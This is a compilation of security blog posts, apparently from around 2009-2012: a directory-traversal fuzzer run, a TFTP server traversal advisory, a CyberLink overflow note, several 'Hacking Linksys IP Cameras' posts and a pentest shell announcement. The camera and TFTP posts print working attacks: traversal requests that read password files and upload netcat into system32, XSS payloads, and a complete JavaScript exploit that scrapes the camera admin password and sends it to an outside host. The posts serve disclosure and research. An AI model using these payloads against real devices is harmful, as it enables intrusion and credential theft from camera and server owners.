[+] Translating (back)slashes in the filenames<br />
[+] Adapting the filenames according to the OS type detected (generic)<br />
[+] Including Special sufixes<br />
[+] Traversal Engine DONE ! &#8211; Total traversal tests created: 14640</p>
<p>[=========== TESTING RESULTS ============]<br />
[+] Ready to launch 3.33 traversals per second<br />
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)</p>
<p>[+] Replacing &#8220;TRAVERSAL&#8221; with the traversals created and sending<br />
. .<br />
[*] Testing URL: http://127.0.0.1:8080/cms/print.php?page=../../../../../boot.ini <strong><span style="color: #ff6600;"><== VULNERABLE</strong></span></p>
<p>[+] Fuzz testing finished after 0.08 minutes (5 seconds)<br />
[+] Total Traversals found: 1<br />
[+] Report saved: Reports/127.0.0.1_03-18-2012_23-59.txt</p>
<p>w00t! DotDotPwn works flawlessly. Now you can use this setup if you forgot to include Burpsuite on your pentest box <img src='http://www.digital-echidna.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Have fun!</p>
<div class="shr-publisher-1553"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F03%2Fdirectory-traversal-with-dotdotpwn-https-mode%2F' data-shr_title='Directory+Traversal+with+DotDotPwn+%28HTTPS+Mode%29'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F03%2Fdirectory-traversal-with-dotdotpwn-https-mode%2F' data-shr_title='Directory+Traversal+with+DotDotPwn+%28HTTPS+Mode%29'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F03%2Fdirectory-traversal-with-dotdotpwn-https-mode%2F' data-shr_title='Directory+Traversal+with+DotDotPwn+%28HTTPS+Mode%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: Distinct TFTP Server
source: http://www.digital-echidna.org/2012/04/distinct-tftp-server-3-01-directory-traversal-vulnerability/
author: modpr0be
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><strong><span style="color: #ff6600;">Overview</span></strong></p>
<p>Distinct TFTP Server is part of Distinct Intranet Servers made by Distinct. Corp. Distinct TFTP Server version 3.10 is susceptible to directory traversal attack. Attacker can exploit this vulnerability to retrieve or upload files outside of the TFTP server root directory.</p>
<p><strong><span style="color: #ff6600;">Software Description</span></strong></p>
<p>From Distinct website:</p>
<blockquote><p><em>Distinct Intranet Servers, which includes FTP Server, TFTP, LPD, BOOTP and NFS, bring quality server power to your network with no additional hardware investment. These servers allow you to make use of your PCs to share important services among your users.</em></p></blockquote>
<p><strong><span style="color: #ff6600;">Vulnerability Details and Attack Vector</span></strong></p>
<p>The vulnerability is caused due to improper validation to GET and PUT Request containing dot dot slash (&#8216;../&#8217;) sequences, which allows attackers to read or write arbitrary files.</p>
<p>By requesting a dot dot slash within the GET or PUT request, it is possible to retrieve operating system file such as boot.ini or upload file (errh, nc.exe?) to Windows %systemroot% (C:\WINDOWS\system32\).<span id="more-1576"></span></p>
<p><strong><span style="color: #ff6600;">Impact</span></strong></p>
<p>A remote attacker may be able to leverage this vulnerability to gain access and has write access to system and other configuration files resulting in loss of confidentiality and integrity.</p>
<p><strong><span style="color: #ff6600;">Proof of Concept</span></strong></p>
<p>We assume that the directory is deep enough, so you have to set a deep path on the server configuration. If a GET request followed with &#8216;../../&#8217; (dot dot slash), trying to retrieve boot.ini file, is sent to Distinct TFTP Server 3.10, the file will be retrieved successfully.</p>
<p>hell:~ modpr0be$ tftp -e 10.211.55.5 69<br />
tftp&gt; get ../../../../../../../../../../../../../boot.ini<br />
Received 211 bytes in 0.0 seconds<br />
tftp&gt;</p>
<p>Next, if we try to upload a file, let say Netcat (nc.exe), to Windows %systemroot% directory (C:\WINDOWS\system32\) using a PUT command, here is the result:</p>
<p>hell:~ modpr0be$ tftp -e 10.211.55.5 69<br />
tftp&gt; put /Pentest/backdoor/nc.exe ../../../../../../../../../../../../../../../Windows/system32/nc.exe<br />
Sent 59392 bytes in 0.3 seconds<br />
tftp&gt;</p>
<p>Netcat successfully uploaded.</p>
<p>Another combinations:<br />
tftp&gt; get ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini<br />
tftp&gt; put /Pentest/backdoor/nc.exe ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\nc.exe</p>
<p><strong><span style="color: #ff6600;">Solution Status</span></strong></p>
<p>Update to the latest version <a href="http://www.distinct.com/index.php/downloads/index">here</a></p>
<p><strong><span style="color: #ff6600;">Risk Factor</span></strong></p>
<p>CVSS Base Score = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)<br />
Exploitability Subscore = 10<br />
Impact Subscore = 4.9<br />
CVSS Temporal Score = 5.2<br />
Overall CVSS Score = 5.8<br />
Risk factor = Medium</p>
<p><strong><span style="color: #ff6600;">References</span></strong></p>
<p>Original advisory: <a title="Spentera Advisory SPN-01-2012" href="http://www.spentera.com/advisories/2012/SPN-01-2012.html" target="_blank">http://www.spentera.com/advisories/2012/SPN-01-2012.html</a></p>
<p>Exploit-DB advisory: <a title="Distinct TFTP Server &lt;= 3.01 Directory Traversal Vulnerability" href="http://www.exploit-db.com/exploits/18718/" target="_blank">http://www.exploit-db.com/exploits/18718/</a></p>
<p><strong><span style="color: #ff6600;">Disclosure Timeline</span></strong></p>
<p>March 28, 2012, issue discovered<br />
March 28, 2012, vendor contacted about the issue, no response<br />
April 9, 2012, public advisory released</p>
<div class="shr-publisher-1576"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fdistinct-tftp-server-3-01-directory-traversal-vulnerability%2F' data-shr_title='Distinct+TFTP+Server+%3C%3D3.10+Directory+Traversal+Vulnerability'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fdistinct-tftp-server-3-01-directory-traversal-vulnerability%2F' data-shr_title='Distinct+TFTP+Server+%3C%3D3.10+Directory+Traversal+Vulnerability'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fdistinct-tftp-server-3-01-directory-traversal-vulnerability%2F' data-shr_title='Distinct+TFTP+Server+%3C%3D3.10+Directory+Traversal+Vulnerability'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: CyberLink Power2Go Unicode Stack Overflow
source: http://www.digital-echidna.org/2012/04/cyberlink-power2go-unicode-stack-overflow/
author: modpr0be
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>The proof of concept of the vulnerability <a href="http://www.spentera.com/advisories/2011/SPN-07-2011.pdf">has been released on December 9, 2011</a>, and no further announcement from CyberLink. I tried to coordinate the issue until they didn&#8217;t contact me anymore. A week after our last email, they updated the product, and  yes it&#8217;s Power2Go 8. How do they know that the product is safe without letting me to check again?</p>
<p>The application itself is still vulnerable to stack buffer overflow as we posted earlier <a href="http://www.exploit-db.com/exploits/18220/">here</a>. This morning, a good friend from <a title="Metasploit Project" href="http://www.metasploit.com">Metasploit</a>, <a title="net-ninja.net" href="https://net-ninja.net/about/">mr_me</a>, sent me an email and asking why I didn&#8217;t get a shell from this POC. He also attached his working exploit script, and working flawlessly on Windows 7, awesome!<span id="more-1587"></span></p>
<p>I stated him that I already managed to get a shell on Power2Go 7 (build 196), but can&#8217;t find any reliable jump address on Power2Go 8, because it&#8217;s a unicode stack overflow, you will face a very limited address regarding jump address. He submitted his working exploit to Metasploit Dev Team so it will be added to Metasploit as well.</p>
<p>So, here is the POC for Power2Go 7:<br />
<a title="CyberLink Power2Go &lt;=7 Unicode Stack Overflow POC" href="http://pastebin.com/CXJ5qsz6">http://pastebin.com/CXJ5qsz6</a></p>
<p><a href="http://www.digital-echidna.org/wp-content/uploads/2012/04/TerminalScreenSnapz004.png" rel="lightbox[1587]"><img class="aligncenter size-medium wp-image-1592" title="CyberLink Power2Go 7 Exploit" src="http://www.digital-echidna.org/wp-content/uploads/2012/04/TerminalScreenSnapz004-300x189.png" alt="" width="300" height="189" /></a></p>
<p>Looking for Power2Go 8 exploit? Wait until mr_me&#8217;s pull request is accepted by the Metasploit team, it will automatically push to your Metasploit as well <img src='http://www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>We don&#8217;t have any information if the vulnerability is being exploited.</p>
<div class="shr-publisher-1587"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fcyberlink-power2go-unicode-stack-overflow%2F' data-shr_title='CyberLink+Power2Go+Unicode+Stack+Overflow'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fcyberlink-power2go-unicode-stack-overflow%2F' data-shr_title='CyberLink+Power2Go+Unicode+Stack+Overflow'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2012%2F04%2Fcyberlink-power2go-unicode-stack-overflow%2F' data-shr_title='CyberLink+Power2Go+Unicode+Stack+Overflow'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: Hacking Linksys IP Cameras (pt 2)
source: http://feedproxy.google.com/~r/gnucitizen/~3/PJt6KPz8WQ0/
author: pagvac
description:
<p><em>This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>.</em></p>

<h3>Privilege escalation via arbitrary file retrieval</h3>

<p>The second vulnerability I&#8217;ll be releasing is an arbitrary(ish) file retrieval vulnerability. It&#8217;s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the <code>admin</code> account password.</p>

<p>The problem lies within the <code>next_file</code> parameter which is submitted to the <code>main.cgi</code> program. Although <code>main.cgi</code> <em>does</em> filter characters typically used in directory traversal sequences such as dots (<code>.</code>) and forward slashes (<code>/</code>), it seems that the developer didn&#8217;t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of <code>.htpasswd</code> a restricted user which only has permissions to access the video stream can access the credentials of the <code>admin</code> account and also the credentials of other restricted users (if applicable).</p>

<p>The only restriction that needs to be bypassed, is dots (<code>.</code>) symbols being filtered. i.e.: the following will <em>not</em> work and will result in a forbidden error:</p>

<pre><code>/img/main.cgi?next_file=.htpasswd</code></pre>

<p>But replacing the dot (<code>.</code>) symbol with its hexadecimal equivalent:</p>

<pre><code>/img/main.cgi?next_file=%2ehtpasswd</code></pre>

<p>Will result in the contents of <code>.htpasswd</code> being returned. i.e.:</p>

<pre><code>admin:adminpassw0rd user1:pass1 user2:pass2</code></pre>

<p>Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don&#8217;t need to authenticate). In this case, the admin user can click on the <code>Users</code> menu and tick the <code>Only users in database</code> option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/video_user_accounts.png" alt="Video User Accounts" title="Video User Accounts" width="489" height="227" class="alignnone size-full wp-image-2990" /></div>

<p>Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.</p>

<h3>Testing Info</h3>

<p>Successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)</li>
</ul>

<p><em>Please note that this vulnerability is different to <a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/img/main.cgi</code>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/PJt6KPz8WQ0" height="1" width="1"/>


title: Hacking Linksys IP Cameras (pt 3)
source: http://feedproxy.google.com/~r/gnucitizen/~3/naGW6csyQ94/
author: pagvac
description:
<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>.</em></p>

<p>Unlike the <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">previous</a> <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">two</a> vulnerabilities I released, the vulnerabilities I&#8217;m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else&#8217;s camera.</p>

<h3>Two directory traversal vulnerabilities</h3>

<p>Today, instead of releasing just one vulnerability I&#8217;ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I&#8217;m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!</p>

<p>Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: <code>/adm/file.cgi</code>. Please note that these vulnerabilities are different to <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2507">CVE-2004-2507</a>/<a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected <code>/main.cgi</code> instead.</p>

<h4>1st directory traversal hole</h4>

<p>It seems that the <code>next_file</code> parameter is not filtered enough when submitted to <code>/adm/file.cgi</code>, so that either of the following requests will return the content of any file whose location is known (<code>/etc/passwd</code> in this case):</p>

<pre><code>/adm/file.cgi?next_file=%2fetc%2fpasswd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2fetc/passwd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd</code></pre>

<h4>2nd directory traversal hole</h4>

<p>In the case of the second directory traversal hole, the vulnerable parameter (<code>this_file</code>) is not filtered at all whatsoever. So hex-encoding special symbols is <em>not</em> required:</p>

<pre><code>/adm/file.cgi?todo=pwnage&#038;this_file=/etc/passwd</code></pre>

<p>The following is the content of the Linux <code>passwd</code> file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening <code>bin/busybox</code> with any of the vulnerabilities previously discussed. I&#8217;m curious to know if the <code>passwd</code> file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:</p>

<pre><code>root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh</code></pre>

<p>Notice that when exploiting the first vulnerability, we need to convert forward slashes to <code>%2f</code> which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the <code>next_file</code> parameter. In the third example, we also partially hex-encode <code>../</code> sequences in order to avoid being blocked by the script which results in a forbidden error.</p>

<p>Needless to say, if the root password is not too strong you should be able to crack it using <a href="http://www.openwall.com/john/">john</a> or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I&#8217;m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.</p>

<p>Unfortunately, as I mentioned in the <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">first post</a> of these series, the WVC54GCA camera comes with a telnet daemon included, but it&#8217;s off by default. I haven&#8217;t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by <a href="http://brooknet.no-ip.com/~lex/public/WVC54G/">modifying</a> the bin firmware image and uploading it again.</p>

<h4>What can we do with these vulnerabilities?</h4>

<p>Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:</p>

<ul>
<li><code>/etc/passwd</code> : traditional-DES-format password file with no salt</li>
<li><code>/usr/local/www/img/.htpasswd</code> : HTTP credentials stored in cleartext</li>
<li><code>/usr/local/www/adm/.htpasswd</code> : contains same data as previous file</li>
<li><code>/etc/system.conf</code> : all camera settings stored in cleartext including admin password, wifi encryption key, etc &#8230;</li>
<li><code>/usr/local/bin/thttpd.conf</code> : web server config file confirming the daemon runs as root, which is the only system account present anyway</li>
<li><code>/etc/init.d/rcS</code>  :  here we see the line that starts the telnet daemon (<code>/usr/sbin/telnetd</code>) commented out</li>
<li><code>/etc/def_sys.conf</code> : camera&#8217;s default settings</li>
<li><code>/etc/system.conf</code> : camera&#8217;s current settings</li>
<li><code>/var/nc.log</code> : network connections logs</li>
<li><code>/etc/group</code></li>
<li><code>/etc/inittab</code></li>
<li><code>/proc/cpuinfo</code> : processor details</li>
<li><code>/proc/meminfo</code></li>
<li><code>/proc/version</code> : OS details</li>
<li><code>/proc/uptime</code></li>
</ul>

<p>Finding a file upload vulnerability should allow us to overwrite the <code>/etc/init.d/rcS</code> file and eventually manage to start the telnet server after reboot. By overwriting the <code>/etc/passwd</code> file with our own we should be able to add our own root password. Unfortunately, I haven&#8217;t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I&#8217;d love to hear the details.</p>

<h3>Testing Info</h3>

<p>Directory traversal vuln #1 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>

<p>Directory traversal vuln #2 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>
<p>Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.</p>
<p><em>Please note that the aforementioned vulnerabilities are different to <a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/adm/file.cgi</code>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/naGW6csyQ94" height="1" width="1"/>


title: Hacking Linksys IP Cameras (pt 4)
source: http://feedproxy.google.com/~r/gnucitizen/~3/MLCS3DSstF8/
author: pagvac
description:
<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a>.</em></p>

<p>There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.</p>

<h3>Disclosure of Credentials in Client-side Source Code</h3>

<p>As a consumer of embedded products, I find highly frustrating to see how many devices&#8217; web interfaces return passwords back to the browser within HTML source code. I&#8217;ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.</p>

<p>Visiting the change admin password page:</p>

<pre><code>/adm/file.cgi?next_file=pass_wd.htm</code></pre>

<p>Causes the current admin password to be returned (just view the source code with your browser):</p>

<pre><code>&lt;input type=&quot;password&quot; size=&quot;8&quot; maxlength=&quot;64&quot; name=&quot;admpw&quot; value=&quot;<strong>C4mP4ssw0rd</strong>&quot; onKeyDown=&quot;chkPsize(this.value.length,64,msg_bigpw)&quot;&gt;</pre></code>

<p>Visiting the "Wireless Security Page":</p>

<pre><code>/adm/file.cgi?next_file=Wsecurity.htm</code></pre>

<p>Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:</p>

<pre><code>&lt;input type=&quot;text&quot; name=&quot;psk&quot; size=&quot;24&quot; maxlength=&quot;63&quot; value=&quot;<strong>mywirelesskey</strong>&quot;&gt;</code></pre>

<p>Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).</p>

<p>Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.</p>

<p>In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses <a href="http://en.wikipedia.org/wiki/Basic_access_authentication">basic authentication</a> which transmits credentials in the clear (base64 encoding) anyway.</p>

<p>In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.</p>

<p>So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.</p>

<h3>Several XSS bugs</h3>

<p>Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.</p>

<p>Boring PoCs:</p>
<pre><code>/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E</code></pre>
<pre><code>/adm/file.cgi?todo=xss&#038;this_file=%3cscript%3ealert(1)%3c/script%3e</pre></code>

<p>XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.</p>

<p>As you can see in the first two XSS vulns, we use <code>img</code> tags, rather then <code>script</code> tags, due to closing <code>script</code> tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.</p>

<h4>Admin Password theft XSS PoC</h4>

<p>The following is the PoC exploit which steals the admin user's password.</p>

<pre><code>// <strong>evil.js</strong> : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest &amp;&amp; !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open(&quot;GET&quot;, url, true);
		req.send(&quot;&quot;);
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows &quot;loaded&quot;
    	if (req.readyState == 4) {
        	// only if &quot;OK&quot;
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/\&quot;/);	
			var gems=&quot;&quot;;
			for (i=0;i&lt;bits.length;++i) { 
                                if(bits[i]==&quot;adm&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                               		gems+=&quot;login=&quot;; 
					gems+=bits[i+2];
                                }
                                if(bits[i]==&quot;admpw&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                                       	gems+=&apos;&amp;password=&apos;; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src=&apos;http://google.com/x.php?&apos;+gems; // URL should point to data-theft script on attacker&apos;s site
        	} 
    	}
}

var url=&quot;/adm/file.cgi?next_file=pass_wd.htm&quot;;
loadXMLDoc(url);</code></pre>

<pre><code>http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/<strong>evil.js</strong>%3e%3c/script%3e</code></pre>

<p>If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/screenshot-eth1-capturing-wireshark1.png" alt="Screenshot eth1 Capturing Wireshark 1" title="Screenshot eth1 Capturing Wireshark 1" width="505" height="189" class="alignnone size-full wp-image-3100" /></div>

<h4>Attack Requirements</h4>

<p>In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to help users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use <a href="http://www.timesonline.co.uk/tol/driving/article754974.ece">black hat SEO</a> and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!</p>

<h3>Testing Info</h3>

<p>All Disclosure of Credentials and XSS vulnerabilities successfully tested on:</p>
<ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/MLCS3DSstF8" height="1" width="1"/>


title: Jeriko Group and Source Code Repository
source: http://feedproxy.google.com/~r/gnucitizen/~3/TtNVvmtSyEM/
author: pdp
description:
<p>Jeriko moved in its own source code repository which you will be able to find <a href="http://code.google.com/p/jeriko/">here</a>. There is also a discussion group <a href="http://groups.google.com/group/Jeriko">here</a>, if you feel like using it.</p>

<p>The version inside the new code repository is very different from the version you&#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:</p>

<pre><code>#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel</code></pre>

<p>This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don&#8217;t have to learn a new programming language. Your bash skills are good for jeriko too.</p>

